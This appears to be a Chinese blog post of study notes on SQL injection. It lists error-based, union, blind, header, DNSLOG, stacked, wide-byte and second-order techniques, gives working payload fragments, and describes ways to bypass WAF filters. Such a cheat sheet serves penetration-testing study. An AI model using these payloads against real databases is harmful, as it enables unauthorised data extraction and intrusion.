sql注入笔记整理

  • 概念
    • 发生在与数据库交互时;将未经过滤的用户输入信息合并到执行代码中造成恶意代码的执行
  • 错误注入
    • extractvalue(xml_flag,xpath)
      • 如果出错打印xpath内容;数据库不识别#~符号
      • extractvalue(1,concat('~',database(),'~')) 会打印出~数据库名~
    • updatexml(xml_document,xpath,new_xml)
      • 用法和extractvalue()函数类似;报错返回xpath内容
      • updatexml(1,concat('~',database(),'~'),1)
    • gtid_subset(设置1,设置2)
      • 报错打印设置1的内容;设置1报错则不会执行设置2
      • gtid_subset(user(),1)
    • exp()
      • e的幂次方;八个字节
      • exp(709) 是边界
      • exp(710) 就会报错;一般搭配截取函数注入、
    • polygon()
      • 报错直接把上级表名和数据库名报出来
      • 输入一般为字段名,字段名不对则不会执行
    • join()
      • ' union select * from (select * from users a join users b)x--+
      • ' union select * from (select * from users a join users b using(id))x--+
      • ' union select * from (select * from users a join users b using(id,username))x--+
      • ' union select * from (select * from users a join users b using(id,username,password))x limit 1,1--+
    • mssql报错注入小技巧
      • 1'and convert(int,db_name())='1
      • id=1/user,'+1-system_user='1
  • 联合注入
    • 字段数相同+数据类型相同
    • 利用order by 判断字段数
      • order by 8
        • 按照第8个字段排序;没有则报错
    • union select 1,2,3
  • 盲注
    • 布尔盲注
      • 回显内容只有两种情况;可以用于辨别输入语句正确与否
      • 根据回显内容进行判断是否注入成功
    • 时间盲注
      • 回显内容一点变化都没有
      • 根据响应时间判断是否注入成功
  • UA注入
    • 在User-Agent字段内容注入
    • 该位置不会url解析;直接用空格;不能用+代替
    • 一般采用语句位insert或update
  • Referer注入
    • 和UA要求相同
    • 一般采用语句位insert或update
  • Cookie注入
    • 和普通注入相同
  • DNSLOG注入
    • 注入实现条件
      • root权限
      • secure_file_priv(无设置或者设置为指定文件夹)
        • null :表示不允许导入导出
        • 没设置:无限制
        • 指定文件夹:只能在指定文件夹中使用
        • 通过 show global variables like 'secure%'; 进行查看该设置
      • load_file(文件完整路径):
        • 读取文件内容为一个字符串
        • unc路径:
          • //服务器名/共享资源名 格式:\\ren\share.txt 或者 //ren/share.txt ren 是服务器名 share.txt 共享资源文件名
  • 堆叠注入
    • 利用分号进行分割导致多条语句执行
    • 如select 1,2,3 from table; select 4,5,6 from table1; #where id =1;
    • 利用输入过滤不严格导致分号可以终结语句,此时可以实现多条语句进行执行,注释符注释掉后面的所有内容
  • 宽字节注入
    • 针对于GBK编码的
    • GBK编码是将两个字符合并为一个中文字符;即输入的特殊符号都会和转义字符进行组合形成一个中文字符
    • 此时可以利用添加字符的方式将转义字符吃掉,使自己的特殊字符起作用
    • 如输入1’ 会被转义为 1\' 表现为 31 5c27 5c27会表示一个中文字符,此时输入1%df' 就会转为 31 df5c 27 df5c会形成一个汉字,但是单引号独立出来了,可以执行了
    • 常用的宽字节吞噬符号有:
  • 二次注入
    • 通过注册带有恶意字符的用户名,然后在使用用户名和密码进行操作的时候(修改密码,查询,更新)实现出入效果
    • 如注册用户名为admin'# 的用户名,在修改密码的情况下会自动识别为admin用户,这样就可以对admin用户进行操作
  • 截取函数
    • left()
    • right()
    • substring()
    • substr()
    • mid() 用法同substr()
  • 条件判断
    • if(a,b,c)
      • a为真执行b;a为假时执行c
      • 常与时间盲注搭配
        • and if('a'='a',sleep(1),sleep(5)) --+
    • case when a>b then a else b end
      • 结尾必须为end
  • 常用数据库
    • information_schema (mysql 5.0 以上才有)
      • schemata 存放数据库名的表
        • schema_name 数据库名
      • tables 存放所有表名的表
        • table_schema 表所在的数据库名
        • table_name 表名
      • columns 存放所有字段的表
        • table_schema 数据库名
        • table_name 表名
        • column_name 字段名
  • 常用函数
    • ascii() 将字符转为ascii码
    • char() 将ascii码转为字符
    • length() 获取字符的长度
    • database() = schema()
    • version()
    • user()
    • current_user()
    • session_user()
    • system_user()
    • load_file() 转换成16进制或10进制mysql读取本地文件的函数
    • @@datadir 数据库路径
    • @@basedir mysql安装路径
    • @@version_compile_os 操作系统
  • 小技巧
    • 语言
      • 政府/国企/央企 大多是oracle
      • asp:SQL Server,Access
      • .net:SQL Server
      • php:MySQL,PostgreSQL
      • java:Oracle,MySQL
    • 注释符
      • /*是MySQL数据库的注释符
      • --是Oracle和SQL Server支持的注释符
      • ;是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
      • #是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/
      • /*!*/内联注释
        • 如果数据库版本高于输入版本号;那么该语句会当成sql进行执行;
          • 如 select * from users /*!union select 1,2,3*/;
        • 反之则会当成注释内容
          • select * from users /*!70000 union select 1,2,3*/;
          • 我的数据库版本是5.7.0;就是50700<70000;所以这里内联注释中的内容会当成注释处理
    • 截取函数(substr substring)
      • MySQL两个函数都可以使用
      • Oracle只可调用substr
      • SQL Server只可调用substring
    • 拼接
      • mysql :'a'+'b'='ab' concat('a','b')='ab'
      • oracle :'a'||'b'='ab' concat('a','b')='ab'
      • mssql :'a'+'b'='ab'
  • 常见过滤绕过手法
    • and or 关键字绕过
      • && || 替换;有时候&&需要使用url编码%26%26
      • 双写绕过
    • = 过滤
      • <> > < like as in rlike regexp
    • 空格过滤
      • %09 %0a %0b %0c %0d + /**/
    • 注释符过滤
      • %00
    • union select 过滤
      • 双写绕过
      • union all select (只针对整体过滤的情况)
    • 逗号过滤
      • from for
        • substr(database() from 1 for 1)
        • 可以代替逗号,表示起始位和输出数量
      • offset
        • limit 0 offset 1
    • 截取函数被过滤了
      • locate()
      • position()
      • instr()

10

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值